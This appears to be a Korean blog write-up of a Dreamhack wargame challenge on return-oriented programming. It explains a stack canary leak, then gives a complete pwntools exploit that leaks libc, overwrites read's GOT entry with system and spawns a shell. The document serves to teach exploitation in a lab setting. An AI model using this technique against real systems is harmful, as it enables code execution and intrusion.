반응형
ROP(Return Oriented Programming)
└─# checksec rop
[*] '/root/dream/rop/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
canary가 존재하고 NX enable이 적용됐다.
- SSP 우회가 필요함
- NX enable이므로 쉘코드 업로드 후 실행은 불가능
checksec
으로 canary가 있는 것을 확인했다.
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
먼저, 메모리 릭 취약점이 발생한다. 이를 이용해서 canary를 구할 수 있다.
- buf에서 BOF가 발생하고 이를 그대로 출력하기 때문에 메모리 릭이 발생함
canary가 메모리 상에서 어떤 위치에 저장되는지 확인해보자.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006a7 <+0>: push rbp
0x00000000004006a8 <+1>: mov rbp,rsp
0x00000000004006ab <+4>: sub rsp,0x40
0x00000000004006af <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004006b8 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004006bc <+21>: xor eax,eax
0x00000000004006be <+23>: mov rax,QWORD PTR [rip+0x20099b]
0x0000000000400713 <+108>: lea rax,[rbp-0x40]
0x0000000000400717 <+112>: mov edx,0x100
0x000000000040071c <+117>: mov rsi,rax
0x000000000040071f <+120>: mov edi,0x0
0x0000000000400724 <+125>: call 0x4005a0 <read@plt>
canary는 [rbp-0x8]
에 저장된다.
<main+108>
을 보면 [rbp-0x40]
주소를 rax에 넣고 <main+125>
의 read()
를 호출할 때 인자로 사용하는 것을 확인할 수 있다.
이를 통해 buf
주소가 [rbp-0x40]
위치라는 것도 알 수 있다.
# [1] Leak canary
buf = b"\x90"*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00"+p.recvn(7))
log.info("canary : "+hex(canary))
메모리 정보를 정보를 이용해서 canary를 구하면 된다.
다음으로 ROP 체인을 구성해서 쉘을 획득해보자.
puts(read_got)
- read() GOT 주소를 출력한다.
read(0, read_got, 0x10)
- read() GOT를 system()로 덮는다.
read("/bin/sh") == system("/bin/sh")
- read() GOT 호출
- 2)번 과정으로 read() GOT를 system() 주소로 덮었으므로
system("/bin/sh")
를 실행하는 것과 동일한 결과가 발생한다.
- 2)번 과정으로 read() GOT를 system() 주소로 덮었으므로
- read() GOT 호출
우리가 이용할 수 있는 PLT 함수를 알아보자.
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
put()
과 read()
를 호출하는 것을 확인할 수 있다.
- 즉,
put()
와read()
가 PLT에 저장됐고 해당 함수를 이용해서 ROP 체인을 구성할 수 있다.
위에 정리한 ROP 시나리오대로 read() GOT를 system() 주소로 덮도록 GOT overwrite
를 수행하는 ROP 체인을 구성하면 쉘을 획득할 수 있다.
from pwn import *
import warnings
warnings.filterwarnings("ignore")
p = remote("host3.dreamhack.games",23705)
e = ELF("./rop")
r = ROP(e)
libc = ELF("./libc-2.27.so")
# [1] Leak canary
buf = b"\x90"*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00"+p.recvn(7))
log.info("canary : "+hex(canary))
# [2] ROP Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi','pop r15'])[0]
payload = b"\x90"*56 + p64(canary) + b"\x90"*8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
log.info("read : "+hex(read))
log.info("libc base : "+hex(lb))
log.info("system : "+hex(system))
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
반응형